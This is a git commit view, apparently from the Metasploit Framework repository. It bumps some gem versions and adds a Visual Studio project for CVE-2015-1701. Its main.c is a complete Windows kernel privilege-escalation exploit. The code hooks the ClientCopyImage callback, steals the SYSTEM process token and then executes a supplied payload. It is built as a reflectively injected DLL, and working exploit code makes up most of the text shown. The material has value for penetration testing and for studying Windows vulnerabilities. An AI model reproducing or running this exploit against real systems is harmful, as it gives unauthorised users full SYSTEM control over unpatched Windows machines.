Merge conflict solving changes

bug/bundler_fix
jvazquez-r7 2015-06-26 11:57:49 -05:00
commit 12188f1a00
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
39 changed files with 6251 additions and 177 deletions

View File

@ -9,7 +9,7 @@ PATH
json json
metasploit-concern (~> 1.0) metasploit-concern (~> 1.0)
metasploit-model (~> 1.0) metasploit-model (~> 1.0)
metasploit-payloads (= 1.0.2) metasploit-payloads (= 1.0.3)
msgpack msgpack
nokogiri nokogiri
packetfu (= 1.1.9) packetfu (= 1.1.9)
@ -123,8 +123,8 @@ GEM
activemodel (>= 4.0.9, < 4.1.0) activemodel (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0)
metasploit-payloads (1.0.2) metasploit-payloads (1.0.3)
metasploit_data_models (1.2.3) metasploit_data_models (1.2.5)
activerecord (>= 4.0.9, < 4.1.0) activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0)
arel-helpers arel-helpers
@ -156,7 +156,7 @@ GEM
coderay (~> 1.1.0) coderay (~> 1.1.0)
method_source (~> 0.8.1) method_source (~> 0.8.1)
slop (~> 3.4) slop (~> 3.4)
rack (1.5.3) rack (1.5.5)
rack-test (0.6.3) rack-test (0.6.3)
rack (>= 1.0) rack (>= 1.0)
rails (4.0.13) rails (4.0.13)
@ -174,7 +174,7 @@ GEM
thor (>= 0.18.1, < 2.0) thor (>= 0.18.1, < 2.0)
rake (10.4.2) rake (10.4.2)
rb-readline-r7 (0.5.2.0) rb-readline-r7 (0.5.2.0)
recog (2.0.5) recog (2.0.6)
nokogiri nokogiri
redcarpet (3.2.3) redcarpet (3.2.3)
rkelly-remix (0.0.6) rkelly-remix (0.0.6)

Binary file not shown.

Binary file not shown.

View File

View File

@ -0,0 +1,151 @@
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
# User-specific files
*.suo
*.user
*.sln.docstates
# Build results
[Dd]ebug/
[Rr]elease/
x64/
build/
[Bb]in/
[Oo]bj/
# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
!packages/*/build/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
*_i.c
*_p.c
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.log
*.scc
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opensdf
*.sdf
*.cachefile
# Visual Studio profiler
*.psess
*.vsp
*.vspx
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# NCrunch
*.ncrunch*
.*crunch*.local.xml
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.Publish.xml
*.pubxml
# NuGet Packages Directory
## TODO: If you have NuGet Package Restore enabled, uncomment the next line
#packages/
# Windows Azure Build Output
csx
*.build.csdef
# Windows Store app package directory
AppPackages/
# Others
sql/
*.Cache
ClientBin/
[Ss]tyle[Cc]op.*
~$*
*~
*.dbmdl
*.[Pp]ublish.xml
*.pfx
*.publishsettings
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file to a newer
# Visual Studio version. Backup files are not needed, because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
# SQL Server files
App_Data/*.mdf
App_Data/*.ldf
# =========================
# Windows detritus
# =========================
# Windows image file caches
Thumbs.db
ehthumbs.db
# Folder config file
Desktop.ini
# Recycle Bin used on file shares
$RECYCLE.BIN/
# Mac crap
.DS_Store

View File

@ -0,0 +1,28 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.21005.1
MinimumVisualStudioVersion = 10.0.40219.1
Project("{68E70ED4-1C36-46C1-8B45-E7CB546B62CA}") = "cve-2015-1701", "cve-2015-1701\cve-2015-1701.vcxproj", "{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Debug|x64 = Debug|x64
Release|Win32 = Release|Win32
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Debug|Win32.ActiveCfg = Debug|Win32
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Debug|Win32.Build.0 = Debug|Win32
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Debug|x64.ActiveCfg = Debug|x64
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Debug|x64.Build.0 = Debug|x64
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Release|Win32.ActiveCfg = Release|Win32
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Release|Win32.Build.0 = Release|Win32
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Release|x64.ActiveCfg = Release|x64
{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,570 @@
/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2015
*
* TITLE: MAIN.C
*
* VERSION: 1.00
*
* DATE: 10 May 2015
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
//Disable nonmeaningful warnings.
#pragma warning(disable: 4005) // macro redefinition
#pragma warning(disable: 4054) // 'type cast' : from function pointer %s to data pointer %s
#pragma warning(disable: 4152) // nonstandard extension, function/data pointer conversion in expression
#pragma warning(disable: 4201) // nonstandard extension used : nameless struct/union
#define _CRT_SECURE_NO_WARNINGS
#define OEMRESOURCE
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
#include "../../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#include <ntstatus.h>
#include "cve-2015-1701.h"
#define TYPE_WINDOW 1
#define HMUNIQSHIFT 16
typedef NTSTATUS (NTAPI *pUser32_ClientCopyImage)(PVOID p);
typedef NTSTATUS(NTAPI *lPsLookupProcessByProcessId)(
IN HANDLE ProcessId,
OUT PVOID Process
);
typedef PACCESS_TOKEN(NTAPI *lPsReferencePrimaryToken)(
_Inout_ PVOID Process
);
typedef PVOID PHEAD;
typedef struct _HANDLEENTRY {
PHEAD phead; // Pointer to the Object.
PVOID pOwner; // PTI or PPI
BYTE bType; // Object handle type
BYTE bFlags; // Flags
WORD wUniq; // Access count.
} HANDLEENTRY, *PHANDLEENTRY;
typedef struct _SERVERINFO {
WORD wRIPFlags;
WORD wSRVIFlags;
WORD wRIPPID;
WORD wRIPError;
ULONG cHandleEntries;
// incomplete
} SERVERINFO, *PSERVERINFO;
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PHANDLEENTRY aheList;
ULONG HeEntrySize;
// incomplete
} SHAREDINFO, *PSHAREDINFO;
static const TCHAR MAINWINDOWCLASSNAME[] = TEXT("usercls348_Mainwindow");
lPsLookupProcessByProcessId g_pPsLookupProcessByProcessId = NULL;
lPsReferencePrimaryToken g_pPsReferencePrimaryToken = NULL;
pUser32_ClientCopyImage g_originalCCI = NULL;
PVOID g_ppCCI = NULL, g_w32theadinfo = NULL;
int g_shellCalled = 0;
DWORD g_OurPID;
typedef NTSTATUS (NTAPI *PRtlGetVersion)( _Inout_ PRTL_OSVERSIONINFOW lpVersionInformation );
NTSTATUS NTAPI RtlGetVersion(
_Inout_ PRTL_OSVERSIONINFOW lpVersionInformation
)
{
static PRtlGetVersion proxy = NULL;
if (proxy == NULL)
{
proxy = (PRtlGetVersion)GetProcAddress(GetModuleHandle("ntdll"), "RtlGetVersion");
}
return proxy(lpVersionInformation);
}
typedef NTSTATUS (WINAPI* PNtQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
NTSTATUS WINAPI NtQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
)
{
static PNtQuerySystemInformation proxy = NULL;
if (proxy == NULL)
{
proxy = (PNtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
}
return proxy(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
}
typedef NTSTATUS (NTAPI* PNtQueryInformationProcess)(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);
NTSTATUS NTAPI NtQueryInformationProcess(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
)
{
static PNtQueryInformationProcess proxy = NULL;
if (proxy == NULL)
{
proxy = (PNtQueryInformationProcess)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
}
return proxy(ProcessHandle, ProcessInformationClass, ProcessInformation, ProcessInformationLength, ReturnLength);
}
DWORD WINAPI execute_payload(LPVOID lpPayload)
{
VOID(*lpCode)() = (VOID(*)())lpPayload;
lpCode();
return ERROR_SUCCESS;
}
/*
* supGetSystemInfo
*
* Purpose:
*
* Returns buffer with system information by given InfoClass.
*
* Returned buffer must be freed with HeapFree after usage.
* Function will return error after 100 attempts.
*
*/
PVOID supGetSystemInfo(
_In_ SYSTEM_INFORMATION_CLASS InfoClass
)
{
INT c = 0;
PVOID Buffer = NULL;
ULONG Size = 0x1000;
NTSTATUS status;
ULONG memIO;
do {
Buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Size);
if (Buffer != NULL) {
status = NtQuerySystemInformation(InfoClass, Buffer, Size, &memIO);
}
else {
return NULL;
}
if (status == STATUS_INFO_LENGTH_MISMATCH) {
HeapFree(GetProcessHeap(), 0, Buffer);
Size *= 2;
}
c++;
if (c > 100) {
status = STATUS_SECRET_TOO_LONG;
break;
}
} while (status == STATUS_INFO_LENGTH_MISMATCH);
if (NT_SUCCESS(status)) {
return Buffer;
}
if (Buffer) {
HeapFree(GetProcessHeap(), 0, Buffer);
}
return NULL;
}
/*
* supIsProcess32bit
*
* Purpose:
*
* Return TRUE if given process is under WOW64, FALSE otherwise.
*
*/
BOOLEAN supIsProcess32bit(
_In_ HANDLE hProcess
)
{
NTSTATUS status;
PROCESS_EXTENDED_BASIC_INFORMATION pebi;
if (hProcess == NULL) {
return FALSE;
}
//query if this is wow64 process
RtlSecureZeroMemory(&pebi, sizeof(pebi));
pebi.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION);
status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pebi, sizeof(pebi), NULL);
if (NT_SUCCESS(status)) {
return (pebi.IsWow64Process == 1);
}
return FALSE;
}
BOOL GetShellCodeFunctions(VOID)
{
BOOL cond = FALSE;
ULONG rl = 0;
PVOID MappedKernel = NULL;
ULONG_PTR KernelBase = 0L, FuncAddress = 0L;
PRTL_PROCESS_MODULES miSpace = NULL;
CHAR KernelFullPathName[MAX_PATH * 2];
BOOL bSuccess = FALSE;
do {
miSpace = supGetSystemInfo(SystemModuleInformation);
if (miSpace == NULL) {
break;
}
if (miSpace->NumberOfModules == 0) {
break;
}
rl = GetSystemDirectoryA(KernelFullPathName, MAX_PATH);
if (rl == 0) {
break;
}
KernelFullPathName[rl] = (CHAR)'\\';
strcpy(&KernelFullPathName[rl + 1],
(const char*)&miSpace->Modules[0].FullPathName[miSpace->Modules[0].OffsetToFileName]);
KernelBase = (ULONG_PTR)miSpace->Modules[0].ImageBase;
HeapFree(GetProcessHeap(), 0, miSpace);
miSpace = NULL;
MappedKernel = LoadLibraryExA(KernelFullPathName, NULL, DONT_RESOLVE_DLL_REFERENCES);
if (MappedKernel == NULL) {
break;
}
FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsLookupProcessByProcessId");
g_pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)(KernelBase + FuncAddress - (ULONG_PTR)MappedKernel);
FuncAddress = (ULONG_PTR)GetProcAddress(MappedKernel, "PsReferencePrimaryToken");
g_pPsReferencePrimaryToken = (lPsReferencePrimaryToken)(KernelBase + FuncAddress - (ULONG_PTR)MappedKernel);
bSuccess = TRUE;
} while (cond);
if (MappedKernel != NULL) {
FreeLibrary(MappedKernel);
}
if (miSpace != NULL) {
HeapFree(GetProcessHeap(), 0, miSpace);
}
return bSuccess;
}
PSHAREDINFO GetSharedInfo(VOID) {
HMODULE huser32;
PSHAREDINFO pSharedInfo = NULL;
DWORD dwCursor = 0;
huser32 = GetModuleHandle(TEXT("user32.dll"));
if (huser32 == NULL)
return pSharedInfo;
pSharedInfo = (PSHAREDINFO)GetProcAddress(huser32, TEXT("gSharedInfo"));
#ifndef _M_X64
PVOID pUser32InitializeImmEntryTable;
/* user32!gSharedInfo resoultion for x86 systems < Windows 7 */
if (pSharedInfo != NULL)
return pSharedInfo;
pUser32InitializeImmEntryTable = GetProcAddress(huser32, TEXT("User32InitializeImmEntryTable"));
for (dwCursor = 0; dwCursor < 0x80; dwCursor++) {
if ( *((PBYTE)pUser32InitializeImmEntryTable + dwCursor) != 0x50 )
continue;
if (*((PBYTE)pUser32InitializeImmEntryTable + dwCursor + 1) != 0x68)
continue;
return *((PSHAREDINFO *)((PBYTE)pUser32InitializeImmEntryTable + dwCursor + 2));
}
#endif
return pSharedInfo;
}
/*
* GetFirstThreadHWND
*
* Purpose:
*
* Locate, convert and return hwnd for current thread from SHAREDINFO->aheList.
*
*/
HWND GetFirstThreadHWND(VOID)
{
PSHAREDINFO pse;
PHANDLEENTRY List;
ULONG_PTR c, k;
pse = GetSharedInfo();
if (pse == NULL) {
return 0;
}
List = pse->aheList;
k = pse->psi->cHandleEntries;
//if (pse->HeEntrySize != sizeof(HANDLEENTRY))
//return 0;
//
// Locate, convert and return hwnd for current thread.
//
for (c = 0; c < k; c++)
if ((List[c].pOwner == g_w32theadinfo) && (List[c].bType == TYPE_WINDOW)) {
return (HWND)(c | (((ULONG_PTR)List[c].wUniq) << HMUNIQSHIFT));
}
return 0;
}
// Search the specified data structure for a member with CurrentValue.
BOOL FindAndReplaceMember(PDWORD_PTR pdwStructure, DWORD_PTR dwCurrentValue, DWORD_PTR dwNewValue, DWORD_PTR dwMaxSize)
{
DWORD_PTR dwIndex, dwMask;
// Microsoft QWORD aligns object pointers, then uses the lower three
// bits for quick reference counting.
#ifdef _M_X64
dwMask = ~0xf;
#else
dwMask = ~7;
#endif
// dwMask out the reference count.
dwCurrentValue &= dwMask;
// Scan the structure for any occurrence of dwCurrentValue.
for (dwIndex = 0; dwIndex < dwMaxSize; dwIndex++)
{
if ((pdwStructure[dwIndex] & dwMask) == dwCurrentValue)
{
// And finally, replace it with NewValue.
pdwStructure[dwIndex] = dwNewValue;
return TRUE;
}
}
// Member not found.
return FALSE;
}
/*
* StealProcessToken
*
* Purpose:
*
* Copy system token to current process object.
*
*/
NTSTATUS NTAPI StealProcessToken(VOID)
{
void *pMyProcessInfo = NULL;
void *pSystemInfo = NULL;
PACCESS_TOKEN systemToken;
PACCESS_TOKEN targetToken;
g_pPsLookupProcessByProcessId((HANDLE)g_OurPID, &pMyProcessInfo);
g_pPsLookupProcessByProcessId((HANDLE)4, &pSystemInfo);
targetToken = g_pPsReferencePrimaryToken(pMyProcessInfo);
systemToken = g_pPsReferencePrimaryToken(pSystemInfo);
// Find the token in the target process, and replace with the system token.
FindAndReplaceMember((PDWORD_PTR)pMyProcessInfo,
(DWORD_PTR)targetToken,
(DWORD_PTR)systemToken,
0x200);
return 0;
}
/*
* MainWindowProc
*
* Purpose:
*
* To be called in ring0.
*
*/
LRESULT CALLBACK MainWindowProc(
_In_ HWND hwnd,
_In_ UINT uMsg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
UNREFERENCED_PARAMETER(hwnd);
UNREFERENCED_PARAMETER(uMsg);
UNREFERENCED_PARAMETER(wParam);
UNREFERENCED_PARAMETER(lParam);
if (g_shellCalled == 0) {
StealProcessToken();
g_shellCalled = 1;
}
return 0;
}
/*
* hookCCI
*
* Purpose:
*
* _ClientCopyImage hook handler.
*
*/
NTSTATUS NTAPI hookCCI(
PVOID p
)
{
InterlockedExchangePointer(g_ppCCI, g_originalCCI); //restore original callback
SetWindowLongPtr(GetFirstThreadHWND(), GWLP_WNDPROC, (LONG_PTR)&DefWindowProc);
return g_originalCCI(p);
}
void win32k_client_copy_image(LPVOID lpPayload)
{
PTEB teb = NtCurrentTeb();
PPEB peb = teb->ProcessEnvironmentBlock;
WNDCLASSEX wincls;
HINSTANCE hinst = GetModuleHandle(NULL);
BOOL rv = TRUE;
MSG msg1;
ATOM class_atom;
HWND MainWindow;
DWORD prot;
OSVERSIONINFOW osver;
RtlSecureZeroMemory(&osver, sizeof(osver));
osver.dwOSVersionInfoSize = sizeof(osver);
RtlGetVersion(&osver);
if (osver.dwBuildNumber > 7601) {
return;
}
if (supIsProcess32bit(GetCurrentProcess())) {
return;
}
g_OurPID = GetCurrentProcessId();
GetShellCodeFunctions();
if (g_pPsLookupProcessByProcessId == NULL) {
return;
}
RtlSecureZeroMemory(&wincls, sizeof(wincls));
wincls.cbSize = sizeof(WNDCLASSEX);
wincls.lpfnWndProc = &MainWindowProc;
wincls.hIcon = LoadIcon(NULL, IDI_APPLICATION);
wincls.lpszClassName = MAINWINDOWCLASSNAME;
class_atom = RegisterClassEx(&wincls);
while (class_atom) {
g_w32theadinfo = teb->Win32ThreadInfo;
g_ppCCI = &((PVOID *)peb->KernelCallbackTable)[0x36]; // <--- User32_ClientCopyImage INDEX
if (!VirtualProtect(g_ppCCI, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &prot)) {
break;
}
g_originalCCI = InterlockedExchangePointer(g_ppCCI, &hookCCI);
MainWindow = CreateWindowEx(0, MAKEINTATOM(class_atom),
NULL, 0, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
if (g_shellCalled == 1)
{
execute_payload(lpPayload);
}
else {
OutputDebugString(TEXT(" Failed \r\n"));
}
if (!MainWindow) {
break;
}
do {
rv = GetMessage(&msg1, NULL, 0, 0);
if (rv == -1)
break;
TranslateMessage(&msg1);
DispatchMessage(&msg1);
} while (rv != 0);
break;
}
if (class_atom)
UnregisterClass(MAKEINTATOM(class_atom), hinst);
return;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
hAppInstance = hinstDLL;
if (lpReserved != NULL)
{
*(HMODULE *)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
win32k_client_copy_image(lpReserved);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,245 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{24713BA3-D562-41EF-87FC-9D5E44DFF2F8}</ProjectGuid>
<RootNamespace>cve-2015-1701</RootNamespace>
<Keyword>Win32Proj</Keyword>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>false</WholeProgramOptimization>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<CharacterSet>MultiByte</CharacterSet>
<PlatformToolset>v120_xp</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
<OutDir>$(Configuration)\$(Platform)\</OutDir>
<IntDir>$(Configuration)\$(Platform)\</IntDir>
<LinkIncremental>false</LinkIncremental>
<GenerateManifest>false</GenerateManifest>
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
<CodeAnalysisRules />
<CodeAnalysisRuleAssemblies />
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE_2015_1701_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
exit 0</Command>
</PostBuildEvent>
<ResourceCompile>
<PreprocessorDefinitions>_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ResourceCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE_2015_1701_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Windows</SubSystem>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
exit 0</Command>
</PostBuildEvent>
<ResourceCompile>
<PreprocessorDefinitions>_DEBUG;_USING_V110_SDK71_;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ResourceCompile>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>false</IntrinsicFunctions>
<AdditionalIncludeDirectories>..\..\..\ReflectiveDLLInjection\common;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE_2015_1701_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<StringPooling>true</StringPooling>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>false</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
<ObjectFileName>$(OutDir)\</ObjectFileName>
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<BufferSecurityCheck>false</BufferSecurityCheck>
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
<TreatWarningAsError>true</TreatWarningAsError>
</ClCompile>
<Link>
<AdditionalDependencies>Mpr.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\cve-2015-1701.map</MapFileName>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\cve-2015-1701.lib</ImportLibrary>
<TargetMachine>MachineX86</TargetMachine>
<Profile>false</Profile>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "..\..\..\..\..\data\exploits\CVE-2015-1701\" GOTO COPY
mkdir "..\..\..\..\..\data\exploits\CVE-2015-1701\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2015-1701\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<Optimization>MinSpace</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
